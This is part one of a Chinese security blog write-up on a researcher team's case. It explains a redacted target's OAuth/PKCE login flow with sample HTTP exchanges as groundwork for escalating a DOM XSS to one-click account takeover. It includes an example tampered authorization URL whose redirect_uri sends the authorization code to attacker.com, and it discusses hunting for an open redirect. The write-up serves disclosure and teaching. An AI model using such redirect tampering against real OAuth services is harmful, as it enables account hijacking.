背景介绍
今天,分享国外 Frog Sec 安全团队研究的一个案例,将看似简单的 DOM XSS 升级为复杂的一键式帐户接管,该攻击允许攻击者从应用程序的电子邮件发送合法的登录链接,当(无论是未经身份验证还是经过身份验证的)受害者点击电子邮件中的链接时,攻击者将破坏帐户。故事将带你了解整个思考过程、遇到的障碍以及他们是如何克服这些障碍最终执行全链利用的。由于文章内容较长,故分为上下两部分来讲解。
- 上集:了解 OAuth 登录流程和初始攻击面
- 下集:利用 DOM XSS,并将其升级为一键帐户接管
让我们开始吧~
了解 OAuth
首先要对目标有一个清晰的认识,由于漏洞披露原则,我们将目标称为 account.redacted.com
,将其合作伙伴网站称为 account.partner.com
。
了解应用程序登录流程
在所有功能中,研究人员选择首先测试登录流程,因为这里经常隐藏着严重/高级别漏洞的地方,目标提供了一个单点登录 (SSO) 功能,其它合作伙伴网站也可会集成该功能以方便用户登录。
完整的 OAuth 登录流程如下:
- 用户通过点击登录
account.partner.com
account.partner.com
将通过 xxxxx-pkce cookie 生成并返回 code_verifier,然后使用redirect_uri
参数将浏览器重定向到 https://account.redacted.com/authorize
HTTP/2 302 Found
Set-Cookie: xxxxx-pkce=<code_verifier>; Path=/; Expires=Tue, 26 Mar 2024 11:25:07 GMT
Location: https://account.redacted.com/authorize?redirect_uri=https%3A%2F%2Faccount.partner.com%2Foauth_callback%3Fnext%3D%2Fabc&response_type=code&code_challenge=<code_challenge>
具体来说,这个redirect_uri
像下面这样:
https://account.partner.com/oauth_callback?next=/abc
如果想了解 code_verifier 是什么,可以移步至:auth0.com
因此,code_verifier 是保护授权码的附加层,为了交换访问令牌,还需要与该 authorization_code 关联的 code_verifier
-
用户将被提示进入
account.redacted.com
SSO 门户的登录页面,如果已登录,则被重定向 -
redirect_url 将通过先前提供的 redirect_uri 组合 authorization_code 来形成
redirect_url = redirect_uri + "<authorization_code>"
-
然后,浏览器将被重定向到redirect_url
-
接下来
account.partner.com
将能够通过account.redacted.com 的重定向获取授权码- 重定向 URL 将如下所示:
https://account.partner.com/oauth_callback?next=/abc&code=
- next: 使用 authorization_code 验证成功后要重定向的 URL
- code: 应用程序将从这里获取 authorization_code
-
然后,前端 Javascript 将使用代码在 POST /access_token 处交换访问令牌
POST /access_token HTTP/2
Host: account.partner.com
Cookie: xxxxx-pkce=<code_verifier>
Content-Length: 306
Content-Type: application/x-www-form-urlencoded
code=<authorization_code>&grantType=authorization_code&redirect_url=<redirect_url>
- 注意,code_verifier 必须与 authorization_code 相关联,才能成功交换访问令牌,如果code_verifier和authorization_code有效,则返回访问令牌并将其设置为cookie
HTTP/2 201 Created
Set-Cookie: accessToken=na3+CYtH7TAt+kjebEZgjJ4m37V8Qkxb+GhMw1FlU7gnELDBevy3qGJADAsNfBKSjoujZhgILLU+M8n49DrRd8+yZS1Jco2M04KWqbp64B8ASHPM6llTqZc=; Domain=partner.com
- 最后,应用程序会将页面重定向到步骤 3 中 oauth_callback 端点的下一个参数处的 URL,即重定向到
https://account.partner.com/abc
教科书式的 OAuth 攻击
![img](https://gitee.com/bugchong/images/raw/master/uPic/Untitled 1.png)
第一种方法是篡改登录流程第 3 步的 redirect_uri 参数,例如:
https://account.redacted.com/authorize?redirect_uri=https://attacker.com&response_type=code
然后将这个被篡改的链接发送给受害者。如果登录流程成功,代码将在第7步附加到 https://attacker.com
域,从而攻击者可以获得授权代码。
https://attacker.com/?code=<authorization_code>
然而,事情并没有那么简单。
应用程序会拒绝任何非 account.partner.com
域的 redirect_uri
,并且仅接受 http
和 https
协议。幸运的是,仍然可以将 URL 路径修改为我们想要的任何内容,例如:
https://account.redacted.com/authorize?redirect_uri=https://account.partner.com/<anything_here>&response_type=code
利用此漏洞的另一种方法是在 https://account.partner.com
上找到开放重定向,以便可以将授权代码重定向到攻击者的服务器。
在登录流程的第 10 步中,有提到在 https://account.partner.com/oauth_callback?next=
处有另一个重定向。有趣的是,没有任何 302
或来自服务器的重定向状态代码,这表明应用程序正在使用 JavaScript 进行重定向。
让我们检查一下重定向接收器。
【未完待续…】